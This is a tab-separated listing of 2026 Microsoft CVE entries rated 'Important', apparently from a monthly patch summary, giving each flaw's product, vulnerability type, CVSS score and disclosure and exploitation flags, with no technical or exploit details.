CVE-2026-55024	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55025	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55031	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55048	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55029	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55039	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55136	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55141	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55036	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55044	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55037	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55058	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55137	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55053	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-54131	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55947	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55949	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56156	Microsoft Excel Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55006	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55009	Microsoft Exchange Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55005	Microsoft Exchange Server Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56642	Microsoft Fabric Data Warehouse Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-50343	Microsoft Install Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50439	Microsoft Message Queuing Queue Manager Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-58537	Microsoft NAT Helper Components (ipnathlp.dll) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56193	Microsoft Office Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-55023	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55026	Microsoft Office Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-55027	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55028	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55047	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55035	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55057	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55121	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55042	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55139	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50665	Microsoft Office Information Disclosure Vulnerability	Important	7.8	No	No	Info
CVE-2026-56192	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-56195	Microsoft Office Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-47290	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50301	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55017	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55125	Microsoft Office Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55133	Microsoft OneNote Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58636	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50438	Microsoft PC Manager Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58647	Microsoft PowerBI Report Server Spoofing Vulnerability	Important	8	No	No	Spoofing
CVE-2026-55052	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-58277	Microsoft SharePoint Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-55051	Microsoft SharePoint Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54108	Microsoft SharePoint Server Spoofing Vulnerability	Important	6.5	No	No	Spoofing
CVE-2026-55016	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55019	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55020	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55021	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55030	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-55034	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55126	Microsoft SharePoint Server Spoofing Vulnerability	Important	7.3	No	No	Spoofing
CVE-2026-55135	Microsoft SharePoint Server Spoofing Vulnerability	Important	4.6	No	No	Spoofing
CVE-2026-56157	Microsoft SharePoint Server Spoofing Vulnerability	Important	5.4	No	No	Spoofing
CVE-2026-47296	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55002	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-47295	Microsoft SQL Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50468	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-54116	Microsoft SQL Server Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-42900	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-49784	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50356	Microsoft Windows App Store Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49165	Microsoft Windows App Store Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54993	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-58610	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55050	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55124	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55142	Microsoft Word Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-55032	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55055	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55038	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55134	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55128	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-55130	Microsoft Word Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50359	Microsoft XML Core Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-57097	Microsoft XML Security Feature Bypass Vulnerability	Important	6.4	No	No	SFB
CVE-2026-50346	Netlogon RPC Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50402	NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50506	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-45646	OData for ASP.NET and ASP.NET Core Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-54989	Quality Windows Audio/Video Experience (QWAVE) Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50365	Remote Access Management service/API (RPC server) Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-54990	Remote Desktop Client Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-58594	Remote Desktop Client Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56190	Remote Desktop Protocol Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-49783	Secure Boot Security Feature Bypass Vulnerability	Important	7.8	No	No	SFB
CVE-2026-42990	SQL Server ODBC driver Elevation of Privilege Vulnerability	Important	9.8	No	No	EoP
CVE-2026-49168	Storage Spaces Direct Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-48581	Surface Broker SDMA Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49180	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50455	Universal Plug and Play (upnp.dll) Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54111	Universal Print Management Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58543	Universal Print Management Service Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58601	Virtual Hard Disk (VHD) Miniport Driver Elevation of Privilege Vulernability	Important	7.8	No	No	EoP
CVE-2026-50520	Visual Studio Code Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-45496	Visual Studio Code Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-57101	Visual Studio Code Security Feature Bypass Vulnerability	Important	7.1	No	No	SFB
CVE-2026-57102	Visual Studio Code Security Feature Bypass Vulnerability	Important	8.8	No	No	SFB
CVE-2026-47305	Visual Studio Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49805	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50297	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50325	Win32k Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50489	Win32k Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-57095	Win32k Elevation of Privilege Vulnerability	Important	6.2	No	No	EoP
CVE-2026-50416	Win32k Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-56184	Win32k Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50432	Window Virtual Filtering Platform (VFP) Denial of Service Vulnerability	Important	5.3	No	No	DoS
CVE-2026-54119	Windows Active Directory Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-57976	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50366	Windows Active Directory Domain Services Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-49178	Windows Active Directory Domain Services Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-58529	Windows Active Directory Federation Services (ADFS) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-54983	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50695	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50304	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50368	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50324	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	5.9	No	No	DoS
CVE-2026-50355	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50411	Windows Active Directory Federation Services Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-58631	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-56196	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56197	Windows Admin Center (WAC) Remote Code Execution Vulnerability	Important	8.8	No	No	RCE
CVE-2026-56169	Windows Admin Center Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-57107	Windows Admin Center Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56185	Windows Admin Center Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50312	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-50462	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-57093	Windows Ancillary Function Driver for WinSock Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-34346	Windows Ancillary Function Driver for WinSock Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-48572	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-48571	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50400	Windows App Package Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50331	Windows Application Model Core API Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49803	Windows AppX Deployment Extensions Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50351	Windows Audio Compression Manager (ACM) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50440	Windows Audio Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34328	Windows Audio Service Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50406	Windows Backup Engine Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50364	Windows Backup Service Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-42975	Windows Bluetooth Port Driver Remote Code Execution	Important	8	No	No	RCE
CVE-2026-58538	Windows Bluetooth Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58638	Windows Boot Loader Security Feature Bypass Vulnerability	Important	6	No	No	SFB
CVE-2026-58637	Windows Client-Side Caching Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50384	Windows Clip Service Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-49183	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50689	Windows Clipboard Server Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50374	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	6.3	No	No	EoP
CVE-2026-58536	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58613	Windows Cloud Files Mini Filter Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50401	Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50697	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50667	Windows Common Log File System Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50421	Windows Connected User Experiences and Telemetry Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50428	Windows Container Isolation FS Filter Driver (unionfs.sys) Information Disclosure Vulnerability	Important	7.1	No	No	Info
CVE-2026-50352	Windows Cryptographic Services Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50302	Windows Cryptographic Services Security Feature Bypass Vulnerability	Important	4.2	No	No	SFB
CVE-2026-55144	Windows Cryptography API: Next Generation (CNG) Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-50347	Windows Data.dll Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-49181	Windows DHCP Client Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50683	Windows DHCP Client Elevation of Privilege Vulnerability	Important	8	No	No	EoP
CVE-2026-58627	Windows DHCP Server Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50685	Windows DHCP Server Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-49807	Windows DirectX Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-49175	Windows DNS Client Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50487	Windows DNS Client Elevation of Privilege Vulnerability	Important	8.1	No	No	EoP
CVE-2026-50465	Windows DNS Client Tampering Vulnerability	Important	7.1	No	No	Tampering
CVE-2026-49169	Windows DNS Server Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-50426	Windows DNS Server Remote Code Execution Vulnerability	Important	6.8	No	No	RCE
CVE-2026-50424	Windows Domain Controller Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-50300	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50437	Windows DWM Core Library Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-34348	Windows Event Logging Service Information Disclosure Vulnerability	Important	6.5	No	No	Info
CVE-2026-50502	Windows Event Logging Service Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-33842	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40422	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-41087	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50473	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50442	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50389	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50456	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57084	Windows File Explorer Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-57091	Windows File History Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50405	Windows Filtering Platform Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49172	Windows FTP Service Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50387	Windows GDI Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54122	Windows GDI+ Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-50483	Windows Graphics Component Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58609	Windows Graphics Component Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50391	Windows Group Policy Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50310	Windows Human Interface Device Information Disclosure Vulnerability	Important	4.7	No	No	Info
CVE-2026-50485	Windows Hyper-V Denial of Service Vulnerability	Important	4.5	No	No	DoS
CVE-2026-54129	Windows Hyper-V Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50315	Windows Image Acquisition Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58534	Windows Input Method Editor (IME) Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50490	Windows Installer Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58540	Windows Installer Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50425	Windows Internal System User Profile Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50293	Windows Internal Task Bar Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49167	Windows Kernel Elevation of Privilege Vulnerability	Important	4.7	No	No	EoP
CVE-2026-49173	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54132	Windows Kernel Elevation of Privilege Vulnerability	Important	6.8	No	No	EoP
CVE-2026-49795	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-49798	Windows Kernel Elevation of Privilege Vulnerability	Important	9.3	No	No	EoP
CVE-2026-49808	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50354	Windows Kernel Elevation of Privilege Vulnerability	Important	7.1	No	No	EoP
CVE-2026-50332	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50377	Windows Kernel Elevation of Privilege Vulnerability	Important	5.5	No	No	EoP
CVE-2026-50390	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50423	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50397	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50436	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50399	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50459	Windows Kernel Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50477	Windows Kernel Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50478	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50484	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50673	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-58532	Windows Kernel Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50294	Windows Kernel Information Disclosure Vulnerability	Important	6.2	No	No	Info
CVE-2026-50316	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50419	Windows Kernel Information Disclosure Vulnerability	Important	3.3	No	No	Info
CVE-2026-50463	Windows Kernel Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50475	Windows Kernel Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50429	Windows Kernel Information Disclosure Vulnerability	Important	8.2	No	No	Info
CVE-2026-58614	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58545	Windows Kernel Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-58602	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50393	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50396	Windows Kernel-Mode Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50378	Windows Key Guard Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50303	Windows Key Guard Security Feature Bypass Vulnerability	Important	5.5	No	No	SFB
CVE-2026-40378	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	7.5	No	No	DoS
CVE-2026-49799	Windows Local Security Authority Subsystem Service (LSASS) Denial of Service Vulnerability	Important	6.5	No	No	DoS
CVE-2026-50371	Windows LUA File Virtualization Filter Driver Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-58544	Windows Management Services Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50404	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50358	Windows Media Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-50336	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50398	Windows Media Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-50414	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50379	Windows Media Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50433	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50676	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50677	Windows Media Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-34349	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50394	Windows Media Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-50415	Windows Media Information Disclosure Vulnerability	Important	5.3	No	No	Info
CVE-2026-57083	Windows Media Photo Codec Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-54115	Windows Message Queuing (MSMQ) Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50447	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	9.8	No	No	RCE
CVE-2026-50505	Windows Message Queuing Service (MSMQ) Remote Code Execution Vulnerability	Important	7.5	No	No	RCE
CVE-2026-50342	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56183	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-56187	Windows MIDI Service Module Elevation of Privileges Vulnerability	Important	7	No	No	EoP
CVE-2026-58635	Windows Narrator Braille Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50500	Windows Netlogon Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50476	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50450	Windows Network Connections Service Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56650	Windows Network File System Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56649	Windows Network File System Remote Code Execution Vulnerability	Important	5.9	No	No	RCE
CVE-2026-50470	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-50496	Windows Network Policy Server SNMP Information Disclosure Vulnerability	Important	7.5	No	No	Info
CVE-2026-56194	Windows NFS Server Elevation of Privilege Vulnerability	Important	8.8	No	No	EoP
CVE-2026-56648	Windows NFS Server Elevation of Privilege Vulnerability	Important	7.5	No	No	EoP
CVE-2026-50337	Windows Notification Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-49789	Windows NTFS Elevation of Privilege Vulnerability	Important	7.3	No	No	EoP
CVE-2026-50412	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50422	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50672	Windows NTFS Elevation of Privilege Vulnerability	Important	7	No	No	EoP
CVE-2026-56175	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-56182	Windows NTFS Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50341	Windows NTFS Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-58640	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-49184	Windows NTFS Remote Code Execution Vulnerability	Important	8.4	No	No	RCE
CVE-2026-49797	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50308	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50386	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50309	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50313	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50388	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50448	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50471	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50461	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50417	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50482	Windows NTFS Remote Code Execution Vulnerability	Important	7.3	No	No	RCE
CVE-2026-50494	Windows NTFS Remote Code Execution Vulnerability	Important	7.8	No	No	RCE
CVE-2026-50344	Windows OLE Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50686	Windows OLE Remote Code Execution Vulnerability	Important	8.1	No	No	RCE
CVE-2026-50335	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50317	Windows Operating Systems Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-54987	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50435	Windows Overlay Filter Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50409	Windows Overlay Filter Information Disclosure Vulnerability	Important	5.5	No	No	Info
CVE-2026-40400	Windows PowerShell Remote Code Execution Vulnerability	Important	8	No	No	RCE
CVE-2026-49166	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-55004	Windows Print Configuration Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
CVE-2026-50499	Windows Print Spooler Elevation of Privilege Vulnerability	Important	7.8	No	No	EoP
